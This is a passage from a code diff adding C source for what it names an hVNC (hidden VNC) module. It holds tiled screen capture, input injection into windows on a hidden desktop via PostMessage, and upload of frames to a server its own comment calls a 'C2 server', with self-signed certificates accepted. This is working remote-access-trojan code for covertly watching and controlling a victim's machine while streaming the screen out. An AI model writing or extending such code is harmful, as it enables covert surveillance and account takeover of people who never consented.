(full) */ + if (target_q < 10) target_q = 10; + + /* Smooth: move 1/4 toward target each frame */ + if (grid->effective_quality == 0) grid->effective_quality = quality; + grid->effective_quality += (target_q - grid->effective_quality + 2) / 4; + if (grid->effective_quality < 10) grid->effective_quality = 10; + if (grid->effective_quality > quality) grid->effective_quality = quality; + quality = grid->effective_quality; + } + + /* Reset output */ + out->len = 0; + if (!out->data) { + out->cap = 64 * 1024; + out->data = (uint8_t *)malloc(out->cap); + if (!out->data) return -1; + } + + if (!grid->tile_tmp) { + grid->tile_tmp = (uint8_t *)malloc(ts * ts * 3); + if (!grid->tile_tmp) return -1; + } + + /* Helper macro to grow output buffer */ + #define TILED_ENSURE(need) do { \ + if (out->len + (size_t)(need) > out->cap) { \ + size_t new_cap = (out->cap + (size_t)(need)) * 2; \ + uint8_t *nb = (uint8_t *)realloc(out->data, new_cap); \ + if (!nb) return -1; \ + out->data = nb; out->cap = new_cap; \ + } \ + } while(0) + + /* Pass 1: compute CRC32 per tile, detect solid tiles. + * When DXGI dirty mask is available, skip CRC32 for clean tiles + * (massive perf win — avoids hashing ~90% of pixels per frame). */ + for (int tr = 0; tr < grid->rows; tr++) { + for (int tc = 0; tc < grid->cols; tc++) { + int idx = tr * grid->cols + tc; + + /* DXGI optimization: skip entirely for tiles DXGI says are clean */ + if (grid->use_dxgi_dirty && !grid->dxgi_dirty[idx]) { + /* Tile unchanged — copy prev hash so Pass 2 skips it */ + grid->current[idx].hash = grid->prev[idx].hash; + continue; + } + + int tile_x = tc * ts; + int tile_y = tr * ts; + int tile_w = (tile_x + ts <= grid->width) ? ts : (grid->width - tile_x); + int tile_h = (tile_y + ts <= grid->height) ? ts : (grid->height - tile_y); + + /* CRC32 across all pixel rows of this tile */ + uint32_t hash = 0xFFFFFFFFu; + uint8_t r0, g0, b0; + + if (bgra_mode) { + /* BGRA path: hash from mapped BGRA buffer (4 bytes/pixel) */ + for (int y = 0; y < tile_h; y++) { + const uint8_t *row = grid->bgra_ptr + (tile_y + y) * grid->bgra_pitch + tile_x * 4; + int row_bytes = tile_w * 4; + for (int b = 0; b < row_bytes; b++) + hash = crc32_table[(hash ^ row[b]) & 0xFF] ^ (hash >> 8); + } + const uint8_t *p0 = grid->bgra_ptr + tile_y * grid->bgra_pitch + tile_x * 4; + r0 = p0[2]; g0 = p0[1]; b0 = p0[0]; /* BGRA → RGB */ + } else { + /* RGB path: hash from raw_pixels buffer (3 bytes/pixel) */ + for (int y = 0; y < tile_h; y++) { + const uint8_t *row = grid->raw_pixels + (tile_y + y) * grid->stride + tile_x * 3; + int row_bytes = tile_w * 3; + for (int b = 0; b < row_bytes; b++) + hash = crc32_table[(hash ^ row[b]) & 0xFF] ^ (hash >> 8); + } + const uint8_t *p0 = grid->raw_pixels + tile_y * grid->stride + tile_x * 3; + r0 = p0[0]; g0 = p0[1]; b0 = p0[2]; + } + hash ^= 0xFFFFFFFFu; + grid->current[idx].hash = hash; + + /* Solid color detection: sample corners + center, then verify */ + int is_solid = 1; + int sx[] = {0, tile_w - 1, 0, tile_w - 1, tile_w / 2}; + int sy[] = {0, 0, tile_h - 1, tile_h - 1, tile_h / 2}; + for (int s = 0; s < 5 && is_solid; s++) { + uint8_t sr, sg, sb; + if (bgra_mode) { + const uint8_t *ps = grid->bgra_ptr + (tile_y + sy[s]) * grid->bgra_pitch + (tile_x + sx[s]) * 4; + sr = ps[2]; sg = ps[1]; sb = ps[0]; + } else { + const uint8_t *ps = grid->raw_pixels + (tile_y + sy[s]) * grid->stride + (tile_x + sx[s]) * 3; + sr = ps[0]; sg = ps[1]; sb = ps[2]; + } + if (sr != r0 || sg != g0 || sb != b0) + is_solid = 0; + } + + if (is_solid) { + for (int y = 0; y < tile_h && is_solid; y++) { + if (bgra_mode) { + const uint8_t *row = grid->bgra_ptr + (tile_y + y) * grid->bgra_pitch + tile_x * 4; + for (int x = 0; x < tile_w && is_solid; x++) { + if (row[x*4+2] != r0 || row[x*4+1] != g0 || row[x*4] != b0) + is_solid = 0; + } + } else { + const uint8_t *row = grid->raw_pixels + (tile_y + y) * grid->stride + tile_x * 3; + for (int x = 0; x < tile_w && is_solid; x++) { + if (row[x*3] != r0 || row[x*3+1] != g0 || row[x*3+2] != b0) + is_solid = 0; + } + } + } + } + + grid->current[idx].is_solid = (uint8_t)is_solid; + grid->current[idx].r = r0; + grid->current[idx].g = g0; + grid->current[idx].b = b0; + } + } + + /* Build tiled payload header (13 bytes) */ + TILED_ENSURE(13); + + out->data[out->len++] = FRAME_TYPE_TILED; + /* screen_w (u16 LE) */ + out->data[out->len++] = (uint8_t)(grid->width); + out->data[out->len++] = (uint8_t)(grid->width >> 8); + /* screen_h (u16 LE) */ + out->data[out->len++] = (uint8_t)(grid->height); + out->data[out->len++] = (uint8_t)(grid->height >> 8); + /* tile_cols, tile_rows */ + out->data[out->len++] = (uint8_t)grid->cols; + out->data[out->len++] = (uint8_t)grid->rows; + /* cursor position */ + POINT cursor_pos = {0, 0}; + GetCursorPos(&cursor_pos); + uint16_t cx = (uint16_t)((cursor_pos.x >= 0 && cursor_pos.x < grid->width) ? cursor_pos.x : 0); + uint16_t cy = (uint16_t)((cursor_pos.y >= 0 && cursor_pos.y < grid->height) ? cursor_pos.y : 0); + out->data[out->len++] = (uint8_t)(cx); + out->data[out->len++] = (uint8_t)(cx >> 8); + out->data[out->len++] = (uint8_t)(cy); + out->data[out->len++] = (uint8_t)(cy >> 8); + /* num_dirty placeholder */ + size_t num_dirty_offset = out->len; + out->data[out->len++] = 0; + out->data[out->len++] = 0; + + /* Pass 2: encode dirty tiles */ + int actual_dirty = 0; + /* Use persistent tile JPEG buffer from grid (reused across frames) */ + jpeg_buffer_t *tile_jpeg = &grid->tile_jpeg; + + for (int tr = 0; tr < grid->rows; tr++) { + for (int tc = 0; tc < grid->cols; tc++) { + int idx = tr * grid->cols + tc; + if (grid->current[idx].hash == grid->prev[idx].hash) + continue; /* clean — skip */ + + int tile_x = tc * ts; + int tile_y = tr * ts; + int tile_w = (tile_x + ts <= grid->width) ? ts : (grid->width - tile_x); + int tile_h = (tile_y + ts <= grid->height) ? ts : (grid->height - tile_y); + + if (grid->current[idx].is_solid) { + /* RLE_SOLID: col, row, codec, data_len=3, R, G, B */ + TILED_ENSURE(10); + out->data[out->len++] = (uint8_t)tc; + out->data[out->len++] = (uint8_t)tr; + out->data[out->len++] = TILE_CODEC_RLE_SOLID; + out->data[out->len++] = 3; out->data[out->len++] = 0; + out->data[out->len++] = 0; out->data[out->len++] = 0; + out->data[out->len++] = grid->current[idx].r; + out->data[out->len++] = grid->current[idx].g; + out->data[out->len++] = grid->current[idx].b; + actual_dirty++; + } else { + /* Adaptive quality: low-variance tiles (text/UI) get boosted quality, + * but never exceed the user's quality slider (upper bound). + * Sample directly from source buffer (no tile_tmp copy needed for BGRA). */ + int tile_quality = quality; + { + uint32_t sampled[16]; + int unique = 0, si = 0; + int step_x = tile_w > 4 ? tile_w / 4 : 1; + int step_y = tile_h > 4 ? tile_h / 4 : 1; + for (int sy = 0; sy < tile_h && si < 16; sy += step_y) { + for (int ssx = 0; ssx < tile_w && si < 16; ssx += step_x) { + uint8_t sr, sg, sb; + if (bgra_mode) { + const uint8_t *p = grid->bgra_ptr + (tile_y + sy) * grid->bgra_pitch + (tile_x + ssx) * 4; + sr = p[2]; sg = p[1]; sb = p[0]; /* BGRA → RGB */ + } else { + const uint8_t *p = grid->raw_pixels + (tile_y + sy) * grid->stride + (tile_x + ssx) * 3; + sr = p[0]; sg = p[1]; sb = p[2]; + } + sampled[si++] = ((uint32_t)sr << 16) | ((uint32_t)sg << 8) | sb; + } + } + unique = 1; + for (int i = 1; i < si; i++) { + int found = 0; + for (int j = 0; j < i; j++) { + if (sampled[i] == sampled[j]) { found = 1; break; } + } + if (!found) unique++; + } + /* Respect user slider as upper bound: min(adaptive, user) */ + if (unique <= 4) { + int adaptive = 95; + tile_quality = adaptive < quality ? adaptive : quality; + } + } + + /* JPEG-encode this tile via TurboJPEG (SIMD-accelerated) */ + if (bgra_mode) { + /* Zero-copy BGRA path: point directly at tile's top-left pixel + in the persistent BGRA DIB. tjCompress2 reads tile_h rows at + bgra_pitch-byte intervals — correctly reads just the tile. */ + const uint8_t *src = grid->bgra_ptr + tile_y * grid->bgra_pitch + tile_x * 4; + + /* Ensure buffer capacity */ + unsigned long maxSize = tjBufSize(tile_w, tile_h, TJSAMP_420); + if (tile_jpeg->cap < maxSize) { + uint8_t *nb = (uint8_t *)realloc(tile_jpeg->data, maxSize); + if (!nb) continue; + tile_jpeg->data = nb; + tile_jpeg->cap = maxSize; + } + + unsigned long jpegSize = (unsigned long)tile_jpeg->cap; + unsigned char *jpegBuf = tile_jpeg->data; + int rc = tjCompress2(grid->tj_compressor, src, + tile_w, grid->bgra_pitch, /* width, pitch (full-image stride) */ + tile_h, TJPF_BGRA, /* encode from BGRA directly */ + &jpegBuf, &jpegSize, + TJSAMP_420, tile_quality, + TJFLAG_FASTDCT | TJFLAG_NOREALLOC); + if (rc != 0) continue; /* skip on encode failure */ + tile_jpeg->data = jpegBuf; + tile_jpeg->len = (size_t)jpegSize; + } else { + /* RGB fallback path: copy tile into contiguous tile_tmp, then encode */ + for (int y = 0; y < tile_h; y++) { + const uint8_t *src = grid->raw_pixels + (tile_y + y) * grid->stride + tile_x * 3; + memcpy(grid->tile_tmp + y * tile_w * 3, src, tile_w * 3); + } + + unsigned long maxSize = tjBufSize(tile_w, tile_h, TJSAMP_420); + if (tile_jpeg->cap < maxSize) { + uint8_t *nb = (uint8_t *)realloc(tile_jpeg->data, maxSize); + if (!nb) continue; + tile_jpeg->data = nb; + tile_jpeg->cap = maxSize; + } + + unsigned long jpegSize = (unsigned long)tile_jpeg->cap; + unsigned char *jpegBuf = tile_jpeg->data; + int rc = tjCompress2(grid->tj_compressor, grid->tile_tmp, + tile_w, 0, /* width, pitch=0 means tight (width * pixelSize) */ + tile_h, TJPF_RGB, + &jpegBuf, &jpegSize, + TJSAMP_420, tile_quality, + TJFLAG_FASTDCT | TJFLAG_NOREALLOC); + if (rc != 0) continue; + tile_jpeg->data = jpegBuf; + tile_jpeg->len = (size_t)jpegSize; + } + + TILED_ENSURE(7 + tile_jpeg->len); + out->data[out->len++] = (uint8_t)tc; + out->data[out->len++] = (uint8_t)tr; + out->data[out->len++] = TILE_CODEC_JPEG; + uint32_t jlen = (uint32_t)tile_jpeg->len; + out->data[out->len++] = (uint8_t)(jlen); + out->data[out->len++] = (uint8_t)(jlen >> 8); + out->data[out->len++] = (uint8_t)(jlen >> 16); + out->data[out->len++] = (uint8_t)(jlen >> 24); + memcpy(out->data + out->len, tile_jpeg->data, tile_jpeg->len); + out->len += tile_jpeg->len; + actual_dirty++; + } + } + } + + /* Fill in actual dirty count */ + out->data[num_dirty_offset] = (uint8_t)(actual_dirty); + out->data[num_dirty_offset + 1] = (uint8_t)(actual_dirty >> 8); + + /* tile_jpeg is persistent in grid — not freed here */ + + /* Swap current → prev */ + memcpy(grid->prev, grid->current, sizeof(tile_state_t) * MAX_TILES); + + /* Track dirty percentage for motion-adaptive quality + adaptive tile sizing */ + { + int total = grid->cols * grid->rows; + int pct = total > 0 ? (actual_dirty * 100 / total) : 0; + grid->prev_dirty_pct = pct; + /* Record in ring buffer for adaptive tile sizing */ + grid->dirty_history[grid->dirty_history_idx % DIRTY_HISTORY_LEN] = pct; + grid->dirty_history_idx++; + if (grid->dirty_history_count < DIRTY_HISTORY_LEN) grid->dirty_history_count++; + } + + #undef TILED_ENSURE + + /* Log stats periodically */ + { + static int tiled_log_counter = 0; + if ((tiled_log_counter % 150) == 0) { + int total = grid->cols * grid->rows; + VNC_LOG("[tile] frame: %d/%d dirty (%d%% saved, eff_q=%d), payload %zu bytes\n", + actual_dirty, total, + total > 0 ? ((total - actual_dirty) * 100 / total) : 0, + grid->effective_quality, + out->len); + } + tiled_log_counter++; + } + + return actual_dirty; +} + +/* ── hVNC input via PostMessage ────────────────────────────────────── */ + +/* Find the deepest child window at the given screen point. + WindowFromPoint only returns top-level windows; this drills down + to the actual child that should receive input (e.g., SysListView32 + inside Progman's SHELLDLL_DefView). + Note: CWP_SKIPTRANSPARENT is NOT used because Windows 11 shell + controls (DirectUIHWND, ShellTabWindowClass) use WS_EX_TRANSPARENT + and would be skipped. */ +static HWND hvnc_deep_window_from_point(POINT screen_pt) { + HWND hwnd = WindowFromPoint(screen_pt); + if (!hwnd) return NULL; + + /* Drill into child windows */ + POINT client_pt = screen_pt; + ScreenToClient(hwnd, &client_pt); + for (int depth = 0; depth < 10; depth++) { + HWND child = ChildWindowFromPointEx(hwnd, client_pt, + CWP_SKIPINVISIBLE); + if (!child || child == hwnd) break; + /* Convert coordinates to child's client space */ + MapWindowPoints(hwnd, child, &client_pt, 1); + hwnd = child; + } + return hwnd; +} + +/* Bring a top-level window to the foreground on the hidden desktop. + This ensures the window receives keyboard focus for subsequent + key events. Uses AttachThreadInput to bypass foreground lock. */ +static void hvnc_activate_window(HWND hwnd) { + HWND top = GetAncestor(hwnd, GA_ROOT); + if (!top) top = hwnd; + DWORD cur_tid = GetCurrentThreadId(); + DWORD wnd_tid = GetWindowThreadProcessId(top, NULL); + if (cur_tid != wnd_tid) { + AttachThreadInput(cur_tid, wnd_tid, TRUE); + } + SetForegroundWindow(top); + SetFocus(hwnd); + if (cur_tid != wnd_tid) { + AttachThreadInput(cur_tid, wnd_tid, FALSE); + } +} + +static void hvnc_process_input_events(vnc_state_t *vnc, tile_grid_t *grid, const uint8_t *data, size_t len) { + if (len < 4) return; + + uint32_t num_events = data[0] | ((uint32_t)data[1] << 8) | + ((uint32_t)data[2] << 16) | ((uint32_t)data[3] << 24); + size_t offset = 4; + + /* Called from the capture thread which is on the hidden desktop */ + + if (num_events > 0) { + vnc->last_input_tick = GetTickCount(); + static int input_log_counter = 0; + if (input_log_counter < 20 || (input_log_counter % 100) == 0) { + VNC_LOG("[hVNC-input] %u events in %zu bytes\n", num_events, len); + } + input_log_counter++; + } + + for (uint32_t i = 0; i < num_events && offset < len; i++) { + uint8_t event_type = data[offset++]; + + switch (event_type) { + case 0x01: { /* mouse_move */ + if (offset + 4 > len) return; + uint16_t x = data[offset] | ((uint16_t)data[offset + 1] << 8); + uint16_t y = data[offset + 2] | ((uint16_t)data[offset + 3] << 8); + offset += 4; + + POINT pt = { (LONG)x, (LONG)y }; + HWND hwnd = hvnc_deep_window_from_point(pt); + if (hwnd) { + ScreenToClient(hwnd, &pt); + PostMessageW(hwnd, WM_MOUSEMOVE, 0, MAKELPARAM(pt.x, pt.y)); + /* Reset cursor after mouse move to suppress spinning circle */ + hvnc_reset_cursor(); + } + break; + } + case 0x02: { /* mouse_button */ + if (offset + 6 > len) return; + uint8_t button = data[offset]; + uint8_t action = data[offset + 1]; + uint16_t x = data[offset + 2] | ((uint16_t)data[offset + 3] << 8); + uint16_t y = data[offset + 4] | ((uint16_t)data[offset + 5] << 8); + offset += 6; + + POINT pt = { (LONG)x, (LONG)y }; + HWND hwnd = hvnc_deep_window_from_point(pt); + if (hwnd) { + /* Diagnostic logging for first 20 clicks */ + { + static int click_log_count = 0; + if (click_log_count < 20) { + char cls[64] = {0}; + GetClassNameA(hwnd, cls, sizeof(cls)); + RECT wr; + GetWindowRect(hwnd, &wr); + POINT cpt = pt; + ScreenToClient(hwnd, &cpt); + VNC_LOG("[hVNC-input] click btn=%u act=%u screen=(%u,%u) -> hwnd=%p class='%s' " + "winrect=(%ld,%ld,%ld,%ld) client=(%ld,%ld)\n", + button, action, x, y, (void *)hwnd, cls, + wr.left, wr.top, wr.right, wr.bottom, + cpt.x, cpt.y); + click_log_count++; + } + } + ScreenToClient(hwnd, &pt); + LPARAM lp = MAKELPARAM(pt.x, pt.y); + UINT msg_down, msg_up; + WPARAM wp = 0; + + if (button == 0) { /* left */ + msg_down = WM_LBUTTONDOWN; msg_up = WM_LBUTTONUP; wp = MK_LBUTTON; + } else if (button == 1) { /* middle */ + msg_down = WM_MBUTTONDOWN; msg_up = WM_MBUTTONUP; wp = MK_MBUTTON; + } else { /* right */ + msg_down = WM_RBUTTONDOWN; msg_up = WM_RBUTTONUP; wp = MK_RBUTTON; + } + + /* Activate the window so it receives focus/keyboard */ + if (action == 1) { + hvnc_activate_window(hwnd); + } + + BOOL posted = PostMessageW(hwnd, action == 1 ? msg_down : msg_up, action == 1 ? wp : 0, lp); + if (!posted) { + VNC_LOG("[hVNC-input] PostMessage failed: %lu\n", GetLastError()); + } + + /* Reset cursor to arrow — suppresses "app starting" spinning circle. + Also send WM_SETCURSOR to the target window to clear its cursor state. */ + hvnc_reset_cursor(); + PostMessageW(hwnd, WM_SETCURSOR, (WPARAM)hwnd, + MAKELPARAM(HTCLIENT, WM_LBUTTONDOWN)); + + /* Track last clicked window for keyboard routing + + mark window cache dirty so next frame recaptures it */ + if (action == 1) { + vnc->last_target_window = hwnd; + if (grid) { + HWND top = GetAncestor(hwnd, GA_ROOT); + if (!top) top = hwnd; + int ci = win_cache_find(grid, top); + if (ci >= 0) grid->win_cache[ci].needs_recapture = TRUE; + } + } + } + break; + } + case 0x03: { /* mouse_scroll */ + if (offset + 6 > len) return; + int16_t delta = (int16_t)(data[offset] | ((uint16_t)data[offset + 1] << 8)); + uint16_t x = data[offset + 2] | ((uint16_t)data[offset + 3] << 8); + uint16_t y = data[offset + 4] | ((uint16_t)data[offset + 5] << 8); + offset += 6; + + POINT pt = { (LONG)x, (LONG)y }; + HWND hwnd = hvnc_deep_window_from_point(pt); + if (hwnd) { + /* WM_MOUSEWHEEL uses screen coordinates in lParam */ + PostMessageW(hwnd, WM_MOUSEWHEEL, + MAKEWPARAM(0, delta), + MAKELPARAM(pt.x, pt.y)); + /* Scrolling changes visible content — mark window dirty */ + if (grid) { + HWND top = GetAncestor(hwnd, GA_ROOT); + if (!top) top = hwnd; + int ci = win_cache_find(grid, top); + if (ci >= 0) grid->win_cache[ci].needs_recapture = TRUE; + } + } + break; + } + case 0x04: { /* key */ + if (offset + 7 > len) return; + uint8_t action = data[offset]; + uint16_t vk = data[offset + 1] | ((uint16_t)data[offset + 2] << 8); + uint32_t scan = data[offset + 3] | ((uint32_t)data[offset + 4] << 8) | + ((uint32_t)data[offset + 5] << 16) | ((uint32_t)data[offset + 6] << 24); + offset += 7; + + HWND target = vnc->last_target_window; + if (target && IsWindow(target)) { + /* Virtual keyboard state for ToUnicode character generation */ + static BYTE kb_state[256] = {0}; + + /* Get real scan code if dashboard sent 0 */ + if (scan == 0) { + scan = MapVirtualKeyW((UINT)vk, MAPVK_VK_TO_VSC); + } + + /* Update modifier state (must happen before ToUnicode) */ + if (action == 1) { + if (vk == VK_SHIFT || vk == VK_LSHIFT || vk == VK_RSHIFT) + kb_state[VK_SHIFT] = 0x80; + if (vk == VK_CONTROL || vk == VK_LCONTROL || vk == VK_RCONTROL) + kb_state[VK_CONTROL] = 0x80; + if (vk == VK_MENU || vk == VK_LMENU || vk == VK_RMENU) + kb_state[VK_MENU] = 0x80; + if (vk == VK_CAPITAL) + kb_state[VK_CAPITAL] ^= 0x01; + } else { + if (vk == VK_SHIFT || vk == VK_LSHIFT || vk == VK_RSHIFT) + kb_state[VK_SHIFT] = 0; + if (vk == VK_CONTROL || vk == VK_LCONTROL || vk == VK_RCONTROL) + kb_state[VK_CONTROL] = 0; + if (vk == VK_MENU || vk == VK_LMENU || vk == VK_RMENU) + kb_state[VK_MENU] = 0; + } + + /* Extended key detection via MapVirtualKeyW */ + int is_extended = 0; + { + UINT vsc_ex = MapVirtualKeyW((UINT)vk, MAPVK_VK_TO_VSC_EX); + if (vsc_ex & 0xE000) is_extended = 1; + } + /* Also explicitly flag known extended keys */ + if (vk == VK_RCONTROL || vk == VK_RMENU || + vk == VK_LWIN || vk == VK_RWIN || vk == VK_APPS || + vk == VK_NUMLOCK || vk == VK_SNAPSHOT || vk == VK_DIVIDE || + (vk >= VK_PRIOR && vk <= VK_DELETE)) + is_extended = 1; + + /* Build lParam: repeat=1, scancode, extended flag, transition */ + LPARAM lp = 1; + lp |= ((LPARAM)(scan & 0xFF)) << 16; + if (is_extended) lp |= (1 << 24); + if (action == 0) lp |= (1 << 31) | (1 << 30); + + PostMessageW(target, action == 1 ? WM_KEYDOWN : WM_KEYUP, (WPARAM)vk, lp); + + /* Mark target window cache dirty on keypress */ + if (grid && action == 1) { + HWND top = GetAncestor(target, GA_ROOT); + if (!top) top = target; + int wci = win_cache_find(grid, top); + if (wci >= 0) grid->win_cache[wci].needs_recapture = TRUE; + } + + /* WM_CHAR generation via ToUnicode (critical for text input) */ + if (action == 1) { + WCHAR chars[4] = {0}; + int rc = ToUnicode((UINT)vk, (UINT)scan, kb_state, + chars, 4, 0); + if (rc > 0) { + /* Printable character(s) produced */ + LPARAM char_lp = lp & ~((LPARAM)1 << 31); /* clear transition bit */ + for (int ci = 0; ci < rc; ci++) + PostMessageW(target, WM_CHAR, (WPARAM)chars[ci], char_lp); + } else if (rc < 0) { + /* Dead key: call ToUnicode again to clear internal state */ + ToUnicode((UINT)vk, (UINT)scan, kb_state, chars, 4, 0); + } + } + } + break; + } + case 0x05: { /* clipboard — same as regular VNC */ + if (offset + 4 > len) return; + uint32_t text_len = data[offset] | ((uint32_t)data[offset + 1] << 8) | + ((uint32_t)data[offset + 2] << 16) | ((uint32_t)data[offset + 3] << 24); + offset += 4; + if (offset + text_len > len) return; + + if (OpenClipboard(NULL)) { + EmptyClipboard(); + HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, text_len + 1); + if (hMem) { + char *pMem = (char *)GlobalLock(hMem); + if (pMem) { + memcpy(pMem, data + offset, text_len); + pMem[text_len] = '\0'; + GlobalUnlock(hMem); + SetClipboardData(CF_TEXT, hMem); + } + } + CloseClipboard(); + } + offset += text_len; + break; + } + case 0x06: { /* control */ + if (offset + 2 > len) return; + uint8_t action = data[offset]; + uint8_t value = data[offset + 1]; + offset += 2; + + if (g_vnc) { + if (action == 0x01) { + g_vnc->quality = value; + } else if (action == 0x02) { + g_vnc->target_fps = value > 0 ? value : 20; + } else if (action == 0x03) { /* capture method: 0=auto, 1=DXGI, 2=GDI */ + g_vnc->capture_method = value; + } else if (action == 0xFF) { + InterlockedExchange(&g_vnc->running, 0); + } + } + break; + } + default: + return; + } + } +} + +/* ── Process input events from server response ────────────────────── */ + +static void process_input_events(vnc_state_t *vnc, const uint8_t *data, size_t len) { + /* hVNC uses PostMessage-based input */ + if (vnc->is_hvnc) { + hvnc_process_input_events(vnc, NULL, data, len); + return; + } + + /* Regular VNC uses SendInput */ + if (len < 4) return; + + uint32_t num_events = data[0] | ((uint32_t)data[1] << 8) | + ((uint32_t)data[2] << 16) | ((uint32_t)data[3] << 24); + size_t offset = 4; + + int screen_w = GetSystemMetrics(SM_CXSCREEN); + int screen_h = GetSystemMetrics(SM_CYSCREEN); + if (screen_w <= 0 || screen_h <= 0) return; + + for (uint32_t i = 0; i < num_events && offset < len; i++) { + uint8_t event_type = data[offset++]; + + switch (event_type) { + case 0x01: { /* mouse_move */ + if (offset + 4 > len) return; + uint16_t x = data[offset] | ((uint16_t)data[offset + 1] << 8); + uint16_t y = data[offset + 2] | ((uint16_t)data[offset + 3] << 8); + offset += 4; + + INPUT inp = {0}; + inp.type = INPUT_MOUSE; + inp.mi.dx = (LONG)((x * 65535) / screen_w); + inp.mi.dy = (LONG)((y * 65535) / screen_h); + inp.mi.dwFlags = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE; + SendInput(1, &inp, sizeof(INPUT)); + break; + } + case 0x02: { /* mouse_button */ + if (offset + 6 > len) return; + uint8_t button = data[offset]; + uint8_t action = data[offset + 1]; + uint16_t x = data[offset + 2] | ((uint16_t)data[offset + 3] << 8); + uint16_t y = data[offset + 4] | ((uint16_t)data[offset + 5] << 8); + offset += 6; + + /* Move to position first */ + INPUT move_inp = {0}; + move_inp.type = INPUT_MOUSE; + move_inp.mi.dx = (LONG)((x * 65535) / screen_w); + move_inp.mi.dy = (LONG)((y * 65535) / screen_h); + move_inp.mi.dwFlags = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE; + SendInput(1, &move_inp, sizeof(INPUT)); + + INPUT inp = {0}; + inp.type = INPUT_MOUSE; + inp.mi.dx = move_inp.mi.dx; + inp.mi.dy = move_inp.mi.dy; + inp.mi.dwFlags = MOUSEEVENTF_ABSOLUTE; + + if (button == 0) { /* left */ + inp.mi.dwFlags |= (action == 1) ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP; + } else if (button == 1) { /* middle */ + inp.mi.dwFlags |= (action == 1) ? MOUSEEVENTF_MIDDLEDOWN : MOUSEEVENTF_MIDDLEUP; + } else if (button == 2) { /* right */ + inp.mi.dwFlags |= (action == 1) ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP; + } + SendInput(1, &inp, sizeof(INPUT)); + break; + } + case 0x03: { /* mouse_scroll */ + if (offset + 6 > len) return; + int16_t delta = (int16_t)(data[offset] | ((uint16_t)data[offset + 1] << 8)); + uint16_t x = data[offset + 2] | ((uint16_t)data[offset + 3] << 8); + uint16_t y = data[offset + 4] | ((uint16_t)data[offset + 5] << 8); + offset += 6; + + /* Move to position */ + INPUT move_inp = {0}; + move_inp.type = INPUT_MOUSE; + move_inp.mi.dx = (LONG)((x * 65535) / screen_w); + move_inp.mi.dy = (LONG)((y * 65535) / screen_h); + move_inp.mi.dwFlags = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE; + SendInput(1, &move_inp, sizeof(INPUT)); + + INPUT inp = {0}; + inp.type = INPUT_MOUSE; + inp.mi.dwFlags = MOUSEEVENTF_WHEEL; + inp.mi.mouseData = (DWORD)delta; + SendInput(1, &inp, sizeof(INPUT)); + break; + } + case 0x04: { /* key */ + if (offset + 7 > len) return; + uint8_t action = data[offset]; + uint16_t vk = data[offset + 1] | ((uint16_t)data[offset + 2] << 8); + uint32_t scan = data[offset + 3] | ((uint32_t)data[offset + 4] << 8) | + ((uint32_t)data[offset + 5] << 16) | ((uint32_t)data[offset + 6] << 24); + offset += 7; + + INPUT inp = {0}; + inp.type = INPUT_KEYBOARD; + inp.ki.wVk = (WORD)vk; + inp.ki.wScan = (WORD)scan; + if (action == 0) { /* key up */ + inp.ki.dwFlags = KEYEVENTF_KEYUP; + } + SendInput(1, &inp, sizeof(INPUT)); + break; + } + case 0x05: { /* clipboard */ + if (offset + 4 > len) return; + uint32_t text_len = data[offset] | ((uint32_t)data[offset + 1] << 8) | + ((uint32_t)data[offset + 2] << 16) | ((uint32_t)data[offset + 3] << 24); + offset += 4; + if (offset + text_len > len) return; + + /* Set clipboard text */ + if (OpenClipboard(NULL)) { + EmptyClipboard(); + HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, text_len + 1); + if (hMem) { + char *pMem = (char *)GlobalLock(hMem); + if (pMem) { + memcpy(pMem, data + offset, text_len); + pMem[text_len] = '\0'; + GlobalUnlock(hMem); + SetClipboardData(CF_TEXT, hMem); + } + } + CloseClipboard(); + } + offset += text_len; + break; + } + case 0x06: { /* control */ + if (offset + 2 > len) return; + uint8_t action = data[offset]; + uint8_t value = data[offset + 1]; + offset += 2; + + if (g_vnc) { + if (action == 0x01) { /* set quality */ + g_vnc->quality = value; + } else if (action == 0x02) { /* set fps */ + g_vnc->target_fps = value > 0 ? value : 20; + } else if (action == 0x03) { /* set capture method: 0=auto, 1=DXGI, 2=GDI */ + g_vnc->capture_method = value; + } else if (action == 0xFF) { /* stop */ + InterlockedExchange(&g_vnc->running, 0); + } + } + break; + } + default: + return; /* unknown event — stop parsing */ + } + } +} + +/* ── POST frame to server ─────────────────────────────────────────── */ + +/* Returns 0 on success, 1 on 410 (stop), -1 on error */ +static int vnc_post_frame(vnc_state_t *vnc, const uint8_t *body, size_t body_len, + uint8_t **response, size_t *response_len) { + wchar_t path[] = L"/api/vnc/frame"; + + DWORD flags = vnc->use_tls ? WINHTTP_FLAG_SECURE : 0; + HINTERNET request = WinHttpOpenRequest(vnc->connect, L"POST", path, + NULL, WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, flags); + if (!request) { + VNC_LOG("[POST] WinHttpOpenRequest failed: %lu\n", GetLastError()); + return -1; + } + + /* Self-signed cert handling: only ignore UNKNOWN_CA and CN_INVALID + which are necessary for self-signed C2 server certificates. + CERT_DATE_INVALID and CERT_WRONG_USAGE are NOT ignored to prevent + accepting expired or misused certificates in MITM scenarios. + TODO: implement certificate pinning for production use. */ + if (vnc->use_tls) { + DWORD sec_flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID; + WinHttpSetOption(request, WINHTTP_OPTION_SECURITY_FLAGS, + &sec_flags, sizeof(sec_flags)); + } + + WinHttpAddRequestHeaders(request, + L"Content-Type: application/octet-stream\r\n", + (ULONG)-1L, WINHTTP_ADDREQ_FLAG_ADD | WINHTTP_ADDREQ_FLAG_REPLACE); + + BOOL ok = WinHttpSendRequest(request, WINHTTP_NO_ADDITIONAL_HEADERS, 0, + (LPVOID)body, (DWORD)body_len, + (DWORD)body_len, 0); + if (!ok) { + VNC_LOG("[POST] WinHttpSendRequest failed (%lu bytes): %lu\n", + (unsigned long)body_len, GetLastError()); + WinHttpCloseHandle(request); + return -1; + } + + ok = WinHttpReceiveResponse(request, NULL); + if (!ok) { + VNC_LOG("[POST] WinHttpReceiveResponse failed: %lu\n", GetLastError()); + WinHttpCloseHandle(request); + return -1; + } + + /* Check status code */ + DWORD status_code = 0; + DWORD status_size = sizeof(status_code); + WinHttpQueryHeaders(request, + 